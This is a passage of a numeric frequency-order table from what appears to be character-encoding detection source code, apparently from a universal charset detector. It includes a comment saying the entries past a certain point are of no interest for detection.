561, 142, 523,1969,1970,1971, 7, + 103, 296, 439, 407, 506, 634, 990,1972,1973,1974,1975, 645,1976,1977,1978,1979, +1980,1981, 236,1982,1436,1983,1984,1089, 192, 828, 618, 518,1166, 333,1127,1985, + 818,1223,1986,1987,1988,1989,1990,1991,1992,1993, 342,1128,1286, 746, 842,1994, +1995, 560, 223,1287, 98, 8, 189, 650, 978,1288,1996,1437,1997, 17, 345, 250, + 423, 277, 234, 512, 226, 97, 289, 42, 167,1998, 201,1999,2000, 843, 836, 824, + 532, 338, 783,1090, 182, 576, 436,1438,1439, 527, 500,2001, 947, 889,2002,2003, +2004,2005, 262, 600, 314, 447,2006, 547,2007, 693, 738,1129,2008, 71,1440, 745, + 619, 688,2009, 829,2010,2011, 147,2012, 33, 948,2013,2014, 74, 224,2015, 61, + 191, 918, 399, 637,2016,1028,1130, 257, 902,2017,2018,2019,2020,2021,2022,2023, +2024,2025,2026, 837,2027,2028,2029,2030, 179, 874, 591, 52, 724, 246,2031,2032, +2033,2034,1167, 969,2035,1289, 630, 605, 911,1091,1168,2036,2037,2038,1441, 912, +2039, 623,2040,2041, 253,1169,1290,2042,1442, 146, 620, 611, 577, 433,2043,1224, + 719,1170, 959, 440, 437, 534, 84, 388, 480,1131, 159, 220, 198, 679,2044,1012, + 819,1066,1443, 113,1225, 194, 318,1003,1029,2045,2046,2047,2048,1067,2049,2050, +2051,2052,2053, 59, 913, 112,2054, 632,2055, 455, 144, 739,1291,2056, 273, 681, + 499,2057, 448,2058,2059, 760,2060,2061, 970, 384, 169, 245,1132,2062,2063, 414, +1444,2064,2065, 41, 235,2066, 157, 252, 877, 568, 919, 789, 580,2067, 725,2068, +2069,1292,2070,2071,1445,2072,1446,2073,2074, 55, 588, 66,1447, 271,1092,2075, +1226,2076, 960,1013, 372,2077,2078,2079,2080,2081,1293,2082,2083,2084,2085, 850, +2086,2087,2088,2089,2090, 186,2091,1068, 180,2092,2093,2094, 109,1227, 522, 606, +2095, 867,1448,1093, 991,1171, 926, 353,1133,2096, 581,2097,2098,2099,1294,1449, +1450,2100, 596,1172,1014,1228,2101,1451,1295,1173,1229,2102,2103,1296,1134,1452, + 949,1135,2104,2105,1094,1453,1454,1455,2106,1095,2107,2108,2109,2110,2111,2112, +2113,2114,2115,2116,2117, 804,2118,2119,1230,1231, 805,1456, 405,1136,2120,2121, +2122,2123,2124, 720, 701,1297, 992,1457, 927,1004,2125,2126,2127,2128,2129,2130, + 22, 417,2131, 303,2132, 385,2133, 971, 520, 513,2134,1174, 73,1096, 231, 274, + 962,1458, 673,2135,1459,2136, 152,1137,2137,2138,2139,2140,1005,1138,1460,1139, +2141,2142,2143,2144, 11, 374, 844,2145, 154,1232, 46,1461,2146, 838, 830, 721, +1233, 106,2147, 90, 428, 462, 578, 566,1175, 352,2148,2149, 538,1234, 124,1298, +2150,1462, 761, 565,2151, 686,2152, 649,2153, 72, 173,2154, 460, 415,2155,1463, +2156,1235, 305,2157,2158,2159,2160,2161,2162, 579,2163,2164,2165,2166,2167, 747, +2168,2169,2170,2171,1464, 669,2172,2173,2174,2175,2176,1465,2177, 23, 530, 285, +2178, 335, 729,2179, 397,2180,2181,2182,1030,2183,2184, 698,2185,2186, 325,2187, +2188, 369,2189, 799,1097,1015, 348,2190,1069, 680,2191, 851,1466,2192,2193, 10, +2194, 613, 424,2195, 979, 108, 449, 589, 27, 172, 81,1031, 80, 774, 281, 350, +1032, 525, 301, 582,1176,2196, 674,1045,2197,2198,1467, 730, 762,2199,2200,2201, +2202,1468,2203, 993,2204,2205, 266,1070, 963,1140,2206,2207,2208, 664,1098, 972, +2209,2210,2211,1177,1469,1470, 871,2212,2213,2214,2215,2216,1471,2217,2218,2219, +2220,2221,2222,2223,2224,2225,2226,2227,1472,1236,2228,2229,2230,2231,2232,2233, +2234,2235,1299,2236,2237, 200,2238, 477, 373,2239,2240, 731, 825, 777,2241,2242, +2243, 521, 486, 548,2244,2245,2246,1473,1300, 53, 549, 137, 875, 76, 158,2247, +1301,1474, 469, 396,1016, 278, 712,2248, 321, 442, 503, 767, 744, 941,1237,1178, +1475,2249, 82, 178,1141,1179, 973,2250,1302,2251, 297,2252,2253, 570,2254,2255, +2256, 18, 450, 206,2257, 290, 292,1142,2258, 511, 162, 99, 346, 164, 735,2259, +1476,1477, 4, 554, 343, 798,1099,2260,1100,2261, 43, 171,1303, 139, 215,2262, +2263, 717, 775,2264,1033, 322, 216,2265, 831,2266, 149,2267,1304,2268,2269, 702, +1238, 135, 845, 347, 309,2270, 484,2271, 878, 655, 238,1006,1478,2272, 67,2273, + 295,2274,2275, 461,2276, 478, 942, 412,2277,1034,2278,2279,2280, 265,2281, 541, +2282,2283,2284,2285,2286, 70, 852,1071,2287,2288,2289,2290, 21, 56, 509, 117, + 432,2291,2292, 331, 980, 552,1101, 148, 284, 105, 393,1180,1239, 755,2293, 187, +2294,1046,1479,2295, 340,2296, 63,1047, 230,2297,2298,1305, 763,1306, 101, 800, + 808, 494,2299,2300,2301, 903,2302, 37,1072, 14, 5,2303, 79, 675,2304, 312, +2305,2306,2307,2308,2309,1480, 6,1307,2310,2311,2312, 1, 470, 35, 24, 229, +2313, 695, 210, 86, 778, 15, 784, 592, 779, 32, 77, 855, 964,2314, 259,2315, + 501, 380,2316,2317, 83, 981, 153, 689,1308,1481,1482,1483,2318,2319, 716,1484, +2320,2321,2322,2323,2324,2325,1485,2326,2327, 128, 57, 68, 261,1048, 211, 170, +1240, 31,2328, 51, 435, 742,2329,2330,2331, 635,2332, 264, 456,2333,2334,2335, + 425,2336,1486, 143, 507, 263, 943,2337, 363, 920,1487, 256,1488,1102, 243, 601, +1489,2338,2339,2340,2341,2342,2343,2344, 861,2345,2346,2347,2348,2349,2350, 395, +2351,1490,1491, 62, 535, 166, 225,2352,2353, 668, 419,1241, 138, 604, 928,2354, +1181,2355,1492,1493,2356,2357,2358,1143,2359, 696,2360, 387, 307,1309, 682, 476, +2361,2362, 332, 12, 222, 156,2363, 232,2364, 641, 276, 656, 517,1494,1495,1035, + 416, 736,1496,2365,1017, 586,2366,2367,2368,1497,2369, 242,2370,2371,2372,1498, +2373, 965, 713,2374,2375,2376,2377, 740, 982,1499, 944,1500,1007,2378,2379,1310, +1501,2380,2381,2382, 785, 329,2383,2384,1502,2385,2386,2387, 932,2388,1503,2389, +2390,2391,2392,1242,2393,2394,2395,2396,2397, 994, 950,2398,2399,2400,2401,1504, +1311,2402,2403,2404,2405,1049, 749,2406,2407, 853, 718,1144,1312,2408,1182,1505, +2409,2410, 255, 516, 479, 564, 550, 214,1506,1507,1313, 413, 239, 444, 339,1145, +1036,1508,1509,1314,1037,1510,1315,2411,1511,2412,2413,2414, 176, 703, 497, 624, + 593, 921, 302,2415, 341, 165,1103,1512,2416,1513,2417,2418,2419, 376,2420, 700, +2421,2422,2423, 258, 768,1316,2424,1183,2425, 995, 608,2426,2427,2428,2429, 221, +2430,2431,2432,2433,2434,2435,2436,2437, 195, 323, 726, 188, 897, 983,1317, 377, + 644,1050, 879,2438, 452,2439,2440,2441,2442,2443,2444, 914,2445,2446,2447,2448, + 915, 489,2449,1514,1184,2450,2451, 515, 64, 427, 495,2452, 583,2453, 483, 485, +1038, 562, 213,1515, 748, 666,2454,2455,2456,2457, 334,2458, 780, 996,1008, 705, +1243,2459,2460,2461,2462,2463, 114,2464, 493,1146, 366, 163,1516, 961,1104,2465, + 291,2466,1318,1105,2467,1517, 365,2468, 355, 951,1244,2469,1319,2470, 631,2471, +2472, 218,1320, 364, 320, 756,1518,1519,1321,1520,1322,2473,2474,2475,2476, 997, +2477,2478,2479,2480, 665,1185,2481, 916,1521,2482,2483,2484, 584, 684,2485,2486, + 797,2487,1051,1186,2488,2489,2490,1522,2491,2492, 370,2493,1039,1187, 65,2494, + 434, 205, 463,1188,2495, 125, 812, 391, 402, 826, 699, 286, 398, 155, 781, 771, + 585,2496, 590, 505,1073,2497, 599, 244, 219, 917,1018, 952, 646,1523,2498,1323, +2499,2500, 49, 984, 354, 741,2501, 625,2502,1324,2503,1019, 190, 357, 757, 491, + 95, 782, 868,2504,2505,2506,2507,2508,2509, 134,1524,1074, 422,1525, 898,2510, + 161,2511,2512,2513,2514, 769,2515,1526,2516,2517, 411,1325,2518, 472,1527,2519, +2520,2521,2522,2523,2524, 985,2525,2526,2527,2528,2529,2530, 764,2531,1245,2532, +2533, 25, 204, 311,2534, 496,2535,1052,2536,2537,2538,2539,2540,2541,2542, 199, + 704, 504, 468, 758, 657,1528, 196, 44, 839,1246, 272, 750,2543, 765, 862,2544, +2545,1326,2546, 132, 615, 933,2547, 732,2548,2549,2550,1189,1529,2551, 283,1247, +1053, 607, 929,2552,2553,2554, 930, 183, 872, 616,1040,1147,2555,1148,1020, 441, + 249,1075,2556,2557,2558, 466, 743,2559,2560,2561, 92, 514, 426, 420, 526,2562, +2563,2564,2565,2566,2567,2568, 185,2569,2570,2571,2572, 776,1530, 658,2573, 362, +2574, 361, 922,1076, 793,2575,2576,2577,2578,2579,2580,1531, 251,2581,2582,2583, +2584,1532, 54, 612, 237,1327,2585,2586, 275, 408, 647, 111,2587,1533,1106, 465, + 3, 458, 9, 38,2588, 107, 110, 890, 209, 26, 737, 498,2589,1534,2590, 431, + 202, 88,1535, 356, 287,1107, 660,1149,2591, 381,1536, 986,1150, 445,1248,1151, + 974,2592,2593, 846,2594, 446, 953, 184,1249,1250, 727,2595, 923, 193, 883,2596, +2597,2598, 102, 324, 539, 817,2599, 421,1041,2600, 832,2601, 94, 175, 197, 406, +2602, 459,2603,2604,2605,2606,2607, 330, 555,2608,2609,2610, 706,1108, 389,2611, +2612,2613,2614, 233,2615, 833, 558, 931, 954,1251,2616,2617,1537, 546,2618,2619, +1009,2620,2621,2622,1538, 690,1328,2623, 955,2624,1539,2625,2626, 772,2627,2628, +2629,2630,2631, 924, 648, 863, 603,2632,2633, 934,1540, 864, 865,2634, 642,1042, + 670,1190,2635,2636,2637,2638, 168,2639, 652, 873, 542,1054,1541,2640,2641,2642, //512, 256 + +/*************************************************************************************** + *Everything below is of no interest for detection purpose * + *************************************************************************************** + +2643,2644,2645,2646,2647,2648,2649,2650,2651,2652,2653,2654,2655,2656,2657,2658, +2659,2660,2661,2662,2663,2664,2665,2666,2667,2668,2669,2670,2671,2672,2673,2674, +2675,2676,2677,2678,2679,2680,2681,2682,2683,2684,2685,2686,2687,2688,2689,2690, +2691,2692,2693,2694,2695,2696,2697,2698,2699,1542, 880,2700,2701,2702,2703,2704, +2705,2706,2707,2708,2709,2710,2711,2712,2713,2714,2715,2716,2717,2718,2719,2720, +2721,2722,2723,2724,2725,1543,2726,2727,2728,2729,2730,2731,2732,1544,2733,2734, +2735,2736,2737,2738,2739,2740,2741,2742,2743,2744,2745,2746,2747,2748,2749,2750, +2751,2752,2753,2754,1545,2755,2756,2757,2758,2759,2760,2761,2762,2763,2764,2765, +2766,1546,2767,1547,2768,2769,2770,2771,2772,2773,2774,2775,2776,2777,2778,2779, +2780,2781,2782,2783,2784,2785,2786,1548,2787,2788,2789,1109,2790,2791,2792,2793, +2794,2795,2796,2797,2798,2799,2800,2801,2802,2803,2804,2805,2806,2807,2808,2809, +2810,2811,2812,1329,2813,2814,2815,2816,2817,2818,2819,2820,2821,2822,2823,2824, +2825,2826,2827,2828,2829,2830,2831,2832,2833,2834,2835,2836,2837,2838,2839,2840, +2841,2842,2843,2844,2845,2846,2847,2848,2849,2850,2851,2852,2853,2854,2855,2856, +1549,2857,2858,2859,2860,1550,2861,2862,1551,2863,2864,2865,2866,2867,2868,2869, +2870,2871,2872,2873,2874,1110,1330,2875,2876,2877,2878,2879,2880,2881,2882,2883, +2884,2885,2886,2887,2888,2889,2890,2891,2892,2893,2894,2895,2896,2897,2898,2899, +2900,2901,2902,2903,2904,2905,2906,2907,2908,2909,2910,2911,2912,2913,2914,2915, +2916,2917,2918,2919,2920,2921,2922,2923,2924,2925,2926,2927,2928,2929,2930,1331, +2931,2932,2933,2934,2935,2936,2937,2938,2939,2940,2941,2942,2943,1552,2944,2945, +2946,2947,2948,2949,2950,2951,2952,2953,2954,2955,2956,2957,2958,2959,2960,2961, +2962,2963,2964,1252,2965,2966,2967,2968,2969,2970,2971,2972,2973,2974,2975,2976, +2977,2978,2979,2980,2981,2982,2983,2984,2985,2986,2987,2988,2989,2990,2991,2992, +2993,2994,2995,2996,2997,2998,2999,3000,3001,3002,3003,3004,3005,3006,3007,3008, +3009,3010,3011,3012,1553,3013,3014,3015,3016,3017,1554,3018,1332,3019,3020,3021, +3022,3023,3024,3025,3026,3027,3028,3029,3030,3031,3032,3033,3034,3035,3036,3037, +3038,3039,3040,3041,3042,3043,3044,3045,3046,3047,3048,3049,3050,1555,3051,3052, +3053,1556,1557,3054,3055,3056,3057,3058,3059,3060,3061,3062,3063,3064,3065,3066, +3067,1558,3068,3069,3070,3071,3072,3073,3074,3075,3076,1559,3077,3078,3079,3080, +3081,3082,3083,1253,3084,3085,3086,3087,3088,3089,3090,3091,3092,3093,3094,3095, +3096,3097,3098,3099,3100,3101,3102,3103,3104,3105,3106,3107,3108,1152,3109,3110, +3111,3112,3113,1560,3114,3115,3116,3117,1111,3118,3119,3120,3121,3122,3123,3124, +3125,3126,3127,3128,3129,3130,3131,3132,3133,3134,3135,3136,3137,3138,3139,3140, +3141,3142,3143,3144,3145,3146,3147,3148,3149,3150,3151,3152,3153,3154,3155,3156, +3157,3158,3159,3160,3161,3162,3163,3164,3165,3166,3167,3168,3169,3170,3171,3172, +3173,3174,3175,3176,1333,3177,3178,3179,3180,3181,3182,3183,3184,3185,3186,3187, +3188,3189,1561,3190,3191,1334,3192,3193,3194,3195,3196,3197,3198,3199,3200,3201, +3202,3203,3204,3205,3206,3207,3208,3209,3210,3211,3212,3213,3214,3215,3216,3217, +3218,3219,3220,3221,3222,3223,3224,3225,3226,3227,3228,3229,3230,3231,3232,3233, +3234,1562,3235,3236,3237,3238,3239,3240,3241,3242,3243,3244,3245,3246,3247,3248, +3249,3250,3251,3252,3253,3254,3255,3256,3257,3258,3259,3260,3261,3262,3263,3264, +3265,3266,3267,3268,3269,3270,3271,3272,3273,3274,3275,3276,3277,1563,3278,3279, +3280,3281,3282,3283,3284,3285,3286,3287,3288,3289,3290,3291,3292,3293,3294,3295, +3296,3297,3298,3299,3300,3301,3302,3303,3304,3305,3306,3307,3308,3309,3310,3311, +3312,3313,3314,3315,3316,3317,3318,3319,3320,3321,3322,3323,3324,3325,3326,3327, +3328,3329,3330,3331,3332,3333,3334,3335,3336,3337,3338,3339,3340,3341,3342,3343, +3344,3345,3346,3347,3348,3349,3350,3351,3352,3353,3354,3355,3356,3357,3358,3359, +3360,3361,3362,3363,3364,1335,3365,3366,3367,3368,3369,3370,3371,3372,3373,3374, +3375,3376,3377,3378,3379,3380,3381,3382,3383,3384,3385,3386,3387,1336,3388,3389, +3390,3391,3392,3393,3394,3395,3396,3397,3398,3399,3400,3401,3402,3403,3404,3405, +3406,3407,3408,3409,3410,3411,3412,3413,3414,1337,3415,3416,3417,3418,3419,1338, +3420,3421,3422,1564,1565,3423,3424,3425,3426,3427,3428,3429,3430,3431,1254,3432, +3433,3434,1339,3435,3436,3437,3438,3439,1566,3440,3441,3442,3443,3444,3445,3446, +3447,3448,3449,3450,3451,3452,3453,3454,1255,3455,3456,3457,3458,3459,1567,1191, +3460,1568,1569,3461,3462,3463,1570,3464,3465,3466,3467,3468,1571,3469,3470,3471, +3472,3473,1572,3474,3475,3476,3477,3478,3479,3480,3481,3482,3483,3484,3485,3486, +1340,3487,3488,3489,3490,3491,3492,1021,3493,3494,3495,3496,3497,3498,1573,3499, +1341,3500,3501,3502,3503,3504,3505,3506,3507,3508,3509,3510,3511,1342,3512,3513, +3514,3515,3516,1574,1343,3517,3518,3519,1575,3520,1576,3521,3522,3523,3524,3525, +3526,3527,3528,3529,3530,3531,3532,3533,3534,3535,3536,3537,3538,3539,3540,3541, +3542,3543,3544,3545,3546,3547,3548,3549,3550,3551,3552,3553,3554,3555,3556,3557, +3558,3559,3560,3561,3562,3563,3564,3565,3566,3567,3568,3569,3570,3571,3572,3573, +3574,3575,3576,3577,3578,3579,3580,1577,3581,3582,1578,3583,3584,3585,3586,3587, +3588,3589,3590,3591,3592,3593,3594,3595,3596,3597,3598,3599,3600,3601,3602,3603, +3604,1579,3605,3606,3607,3608,3609,3610,3611,3612,3613,3614,3615,3616,3617,3618, +3619,3620,3621,3622,3623,3624,3625,3626,3627,3628,3629,1580,3630,3631,1581,3632, +3633,3634,3635,3636,3637,3638,3639,3640,3641,3642,3643,3644,3645,3646,3647,3648, +3649,3650,3651,3652,3653,3654,3655,3656,1582,3657,3658,3659,3660,3661,3662,3663, +3664,3665,3666,3667,3668,3669,3670,3671,3672,3673,3674,3675,3676,3677,3678,3679, +3680,3681,3682,3683,3684,3685,3686,3687,3688,3689,3690,3691,3692,3693,3694,3695, +3696,3697,3698,3699,3700,1192,3701,3702,3703,3704,1256,3705,3706,3707,3708,1583, +1257,3709,3710,3711,3712,3713,3714,3715,3716,1584,3717,3718,3719,3720,3721,3722, +3723,3724,3725,3726,3727,3728,3729,3730,3731,3732,3733,3734,3735,3736,3737,3738, +3739,3740,3741,3742,3743,3744,3745,1344,3746,3747,3748,3749,3750,3751,3752,3753, +3754,3755,3756,1585,3757,3758,3759,3760,3761,3762,3763,3764,3765,3766,1586,3767, +3768,3769,3770,3771,3772,3773,3774,3775,3776,3777,3778,1345,3779,3780,3781,3782, +3783,3784,3785,3786,3787,3788,3789,3790,3791,3792,3793,3794,3795,1346,1587,3796, +3797,1588,3798,3799,3800,3801,3802,3803,3804,3805,3806,1347,3807,3808,3809,3810, +3811,1589,3812,3813,3814,3815,3816,3817,3818,3819,3820,3821,1590,3822,3823,1591, +1348,3824,3825,3826,3827,3828,3829,3830,1592,3831,3832,1593,3833,3834,3835,3836, +3837,3838,3839,3840,3841,3842,3843,3844,1349,3845,3846,3847,3848,3849,3850,3851, +3852,3853,3854,3855,3856,3857,3858,1594,3859,3860,3861,3862,3863,3864,3865,3866, +3867,3868,3869,1595,3870,3871,3872,3873,1596,3874,3875,3876,3877,3878,3879,3880, +3881,3882,3883,3884,3885,3886,1597,3887,3888,3889,3890,3891,3892,3893,3894,3895, +1598,3896,3897,3898,1599,1600,3899,1350,3900,1351,3901,3902,1352,3903,3904,3905, +3906,3907,3908,3909,3910,3911,3912,3913,3914,3915,3916,3917,3918,3919,3920,3921, +3922,3923,3924,1258,3925,3926,3927,3928,3929,3930,3931,1193,3932,1601,3933,3934, +3935,3936,3937,3938,3939,3940,3941,3942,3943,1602,3944,3945,3946,3947,3948,1603, +3949,3950,3951,3952,3953,3954,3955,3956,3957,3958,3959,3960,3961,3962,3963,3964, +3965,1604,3966,3967,3968,3969,3970,3971,3972,3973,3974,3975,3976,3977,1353,3978, +3979,3980,3981,3982,3983,3984,3985,3986,3987,3988,3989,3990,3991,1354,3992,3993, +3994,3995,3996,3997,3998,3999,4000,4001,4002,4003,4004,4005,4006,4007,4008,4009, +4010,4011,4012,4013,4014,4015,4016,4017,4018,4019,4020,4021,4022,4023,1355,4024, +4025,4026,4027,4028,4029,4030,4031,4032,4033,4034,4035,4036,4037,4038,4039,4040, +1605,4041,4042,4043,4044,4045,4046,4047,4048,4049,4050,4051,4052,4053,4054,4055, +4056,4057,4058,4059,4060,1606,4061,4062,4063,4064,1607,4065,4066,4067,4068,4069, +4070,4071,4072,4073,4074,4075,4076,1194,4077,4078,1608,4079,4080,4081,4082,4083, +4084,4085,4086,4087,1609,4088,4089,4090,4091,4092,4093,4094,4095,4096,4097,4098, +4099,4100,4101,4102,4103,4104,4105,4106,4107,4108,1259,4109,4110,4111,4112,4113, +4114,4115,4116,4117,4118,4119,4120,4121,4122,4123,4124,1195,4125,4126,4127,1610, +4128,4129,4130,4131,4132,4133,4134,4135,4136,4137,1356,4138,4139,4140,4141,4142, +4143,4144,1611,4145,4146,4147,4148,4149,4150,4151,4152,4153,4154,4155,4156,4157, +4158,4159,4160,4161,4162,4163,4164,4165,4166,4167,4168,4169,4170,4171,4172,4173, +4174,4175,4176,4177,4178,4179,4180,4181,4182,4183,4184,4185,4186,4187,4188,4189, +4190,4191,4192,4193,4194,4195,4196,4197,4198,4199,4200,4201,4202,4203,4204,4205, +4206,4207,4208,4209,4210,4211,4212,4213,4214,4215,4216,4217,4218,4219,1612,4220, +4221,4222,4223,4224,4225,4226,4227,1357,4228,1613,4229,4230,4231,4232,4233,4234, +4235,4236,4237,4238,4239,4240,4241,4242,4243,1614,4244,4245,4246,4247,4248,4249, +4250,4251,4252,4253,4254,4255,4256,4257,4258,4259,4260,4261,4262,4263,4264,4265, +4266,4267,4268,4269,4270,1196,1358,4271,4272,4273,4274,4275,4276,4277,4278,4279, +4280,4281,4282,4283,4284,4285,4286,4287,1615,4288,4289,4290,4291,4292,4293,4294, +4295,4296,4297,4298,4299,4300,4301,4302,4303,4304,4305,4306,4307,4308,4309,4310, +4311,4312,4313,4314,4315,4316,4317,4318,4319,4320,4321,4322,4323,4324,4325,4326, +4327,4328,4329,4330,4331,4332,4333,4334,1616,4335,4336,4337,4338,4339,4340,4341, +4342,4343,4344,4345,4346,4347,4348,4349,4350,4351,4352,4353,4354,4355,4356,4357, +4358,4359,4360,1617,4361,4362,4363,4364,4365,1618,4366,4367,4368,4369,4370,4371, +4372,4373,4374,4375,4376,4377,4378,4379,4380,4381,4382,4383,4384,4385,4386,4387, +4388,4389,4390,4391,4392,4393,4394,4395,4396,4397,4398,4399,4400,4401,4402,4403, +4404,4405,4406,4407,4408,4409,4410,4411,4412,4413,4414,4415,4416,1619,4417,4418, +4419,4420,4421,4422,4423,4424,4425,1112,4426,4427,4428,4429,4430,1620,4431,4432, +4433,4434,4435,4436,4437,4438,4439,4440,4441,4442,1260,1261,4443,4444,4445,4446, +4447,4448,4449,4450,4451,4452,4453,4454,4455,1359,4456,4457,4458,4459,4460,4461, +4462,4463,4464,4465,1621,4466,4467,4468,4469,4470,4471,4472,4473,4474,4475,4476, +4477,4478,4479,4480,4481,4482,4483,4484,4485,4486,4487,4488,4489,1055,4490,4491, +4492,4493,4494,4495,4496,4497,4498,4499,4500,4501,4502,4503,4504,4505,4506,4507, +4508,4509,4510,4511,4512,4513,4514,4515,4516,4517,4518,1622,4519,4520,4521,1623, +4522,4523,4524,4525,4526,4527,4528,4529,4530,4531,4532,4533,4534,4535,1360,4536, +4537,4538,4539,4540,4541,4542,4543, 975,4544,4545,4546,4547,4548,4549,4550,4551, +4552,4553,4554,4555,4556,4557,4558,4559,4560,4561,4562,4563,4564,4565,4566,4567, +4568,4569,4570,4571,1624,4572,4573,4574,4575,4576,1625,4577,4578,4579,4580,4581, +4582,4583,4584,1626,4585,4586,4587,4588,4589,4590,4591,4592,4593,4594,4595,1627, +4596,4597,4598,4599,4600,4601,4602,4603,4604,4605,4606,4607,4608,4609,4610,4611, +4612,4613,4614,4615,1628,4616,4617,4618,4619,4620,4621,4622,4623,4624,4625,4626, +4627,4628,4629,4630,4631,4632,4633,4634,4635,4636,4637,4638,4639,4640,4641,4642, +4643,4644,4645,4646,4647,4648,4649,1361,4650,4651,4652,4653,4654,4655,4656,4657, +4658,4659,4660,4661,1362,4662,4663,4664,4665,4666,4667,4668,4669,4670,4671,4672, +4673,4674,4675,4676,4677,4678,4679,4680,4681,4682,1629,4683,4684,4685,4686,4687, +1630,4688,4689,4690,4691,1153,4692,4693,4694,1113,4695,4696,4697,4698,4699,4700, +4701,4702,4703,4704,4705,4706,4707,4708,4709,4710,4711,1197,4712,4713,4714,4715, +4716,4717,4718,4719,4720,4721,4722,4723,4724,4725,4726,4727,4728,4729,4730,4731, +4732,4733,4734,4735,1631,4736,1632,4737,4738,4739,4740,4741,4742,4743,4744,1633, +4745,4746,4747,4748,4749,1262,4750,4751,4752,4753,4754,1363,4755,4756,4757,4758, +4759,4760,4761,4762,4763,4764,4765,4766,4767,4768,1634,4769,4770,4771,4772,4773, +4774,4775,4776,4777,4778,1635,4779,4780,4781,4782,4783,4784,4785,4786,4787,4788, +4789,1636,4790,4791,4792,4793,4794,4795,4796,4797,4798,4799,4800,4801,4802,4803, +4804,4805,4806,1637,4807,4808,4809,1638,4810,4811,4812,4813,4814,4815,4816,4817, +4818,1639,4819,4820,4821,4822,4823,4824,4825,4826,4827,4828,4829,4830,4831,4832, +4833,1077,4834,4835,4836,4837,4838,4839,4840,4841,4842,4843,4844,4845,4846,4847, +4848,4849,4850,4851,4852,4853,4854,4855,4856,4857,4858,4859,4860,4861,4862,4863, +4864,4865,4866,4867,4868,4869,4870,4871,4872,4873,4874,4875,4876,4877,4878,4879, +4880,4881,4882,4883,1640,4884,4885,1641,4886,4887,4888,4889,4890,4891,4892,4893, +4894,4895,4896,4897,4898,4899,4900,4901,4902,4903,4904,4905,4906,4907,4908,4909, +4910,4911,1642,4912,4913,4914,1364,4915,4916,4917,4918,4919,4920,4921,4922,4923, +4924,4925,4926,4927,4928,4929,4930,4931,1643,4932,4933,4934,4935,4936,4937,4938, +4939,4940,4941,4942,4943,4944,4945,4946,4947,4948,4949,4950,4951,4952,4953,4954, +4955,4956,4957,4958,4959,4960,4961,4962,4963,4964,4965,4966,4967,4968,4969,4970, +4971,4972,4973,4974,4975,4976,4977,4978,4979,4980,1644,4981,4982,4983,4984,1645, +4985,4986,1646,4987,4988,4989,4990,4991,4992,4993,4994,4995,4996,4997,4998,4999, +5000,5001,5002,5003,5004,5005,1647,5006,1648,5007,5008,5009,5010,5011,5012,1078, +5013,5014,5015,5016,5017,5018,5019,5020,5021,5022,5023,5024,5025,5026,5027,5028, +1365,5029,5030,5031,5032,5033,5034,5035,5036,5037,5038,5039,1649,5040,5041,5042, +5043,5044,5045,1366,5046,5047,5048,5049,5050,5051,5052,5053,5054,5055,1650,5056, +5057,5058,5059,5060,5061,5062,5063,5064,5065,5066,5067,5068,5069,5070,5071,5072, +5073,5074,5075,5076,5077,1651,5078,5079,5080,5081,5082,5083,5084,5085,5086,5087, +5088,5089,5090,5091,5092,5093,5094,5095,5096,5097,5098,5099,5100,5101,5102,5103, +5104,5105,5106,5107,5108,5109,5110,1652,5111,5112,5113,5114,5115,5116,5117,5118, +1367,5119,5120,5121,5122,5123,5124,5125,5126,5127,5128,5129,1653,5130,5131,5132, +5133,5134,5135,5136,5137,5138,5139,5140,5141,5142,5143,5144,5145,5146,5147,5148, +5149,1368,5150,1654,5151,1369,5152,5153,5154,5155,5156,5157,5158,5159,5160,5161, +5162,5163,5164,5165,5166,5167,5168,5169,5170,5171,5172,5173,5174,5175,5176,5177, +5178,1370,5179,5180,5181,5182,5183,5184,5185,5186,5187,5188,5189,5190,5191,5192, +5193,5194,5195,5196,5197,5198,1655,5199,5200,5201,5202,1656,5203,5204,5205,5206, +1371,5207,1372,5208,5209,5210,5211,1373,5212,5213,1374,5214,5215,5216,5217,5218, +5219,5220,5221,5222,5223,5224,5225,5226,5227,5228,5229,5230,5231,5232,5233,5234, +5235,5236,5237,5238,5239,5240,5241,5242,5243,5244,5245,5246,5247,1657,5248,5249, +5250,5251,1658,1263,5252,5253,5254,5255,5256,1375,5257,5258,5259,5260,5261,5262, +5263,5264,5265,5266,5267,5268,5269,5270,5271,5272,5273,5274,5275,5276,5277,5278, +5279,5280,5281,5282,5283,1659,5284,5285,5286,5287,5288,5289,5290,5291,5292,5293, +5294,5295,5296,5297,5298,5299,5300,1660,5301,5302,5303,5304,5305,5306,5307,5308, +5309,5310,5311,5312,5313,5314,5315,5316,5317,5318,5319,5320,5321,1376,5322,5323, +5324,5325,5326,5327,5328,5329,5330,5331,5332,5333,1198,5334,5335,5336,5337,5338, +5339,5340,5341,5342,5343,1661,5344,5345,5346,5347,5348,5349,5350,5351,5352,5353, +5354,5355,5356,5357,5358,5359,5360,5361,5362,5363,5364,5365,5366,5367,5368,5369, +5370,5371,5372,5373,5374,5375,5376,5377,5378,5379,5380,5381,5382,5383,5384,5385, +5386,5387,5388,5389,5390,5391,5392,5393,5394,5395,5396,5397,5398,1264,5399,5400, +5401,5402,5403,5404,5405,5406,5407,5408,5409,5410,5411,5412,1662,5413,5414,5415, +5416,1663,5417,5418,5419,5420,5421,5422,5423,5424,5425,5426,5427,5428,5429,5430, +5431,5432,5433,5434,5435,5436,5437,5438,1664,5439,5440,5441,5442,5443,5444,5445, +5446,5447,5448,5449,5450,5451,5452,5453,5454,5455,5456,5457,5458,5459,5460,5461, +5462,5463,5464,5465,5466,5467,5468,5469,5470,5471,5472,5473,5474,5475,5476,5477, +5478,1154,5479,5480,5481,5482,5483,5484,5485,1665,5486,5487,5488,5489,5490,5491, +5492,5493,5494,5495,5496,5497,5498,5499,5500,5501,5502,5503,5504,5505,5506,5507, +5508,5509,5510,5511,5512,5513,5514,5515,5516,5517,5518,5519,5520,5521,5522,5523, +5524,5525,5526,5527,5528,5529,5530,5531,5532,5533,5534,5535,5536,5537,5538,5539, +5540,5541,5542,5543,5544,5545,5546,5547,5548,1377,5549,5550,5551,5552,5553,5554, +5555,5556,5557,5558,5559,5560,5561,5562,5563,5564,5565,5566,5567,5568,5569,5570, +1114,5571,5572,5573,5574,5575,5576,5577,5578,5579,5580,5581,5582,5583,5584,5585, +5586,5587,5588,5589,5590,5591,5592,1378,5593,5594,5595,5596,5597,5598,5599,5600, +5601,5602,5603,5604,5605,5606,5607,5608,5609,5610,5611,5612,5613,5614,1379,5615, +5616,5617,5618,5619,5620,5621,5622,5623,5624,5625,5626,5627,5628,5629,5630,5631, +5632,5633,5634,1380,5635,5636,5637,5638,5639,5640,5641,5642,5643,5644,5645,5646, 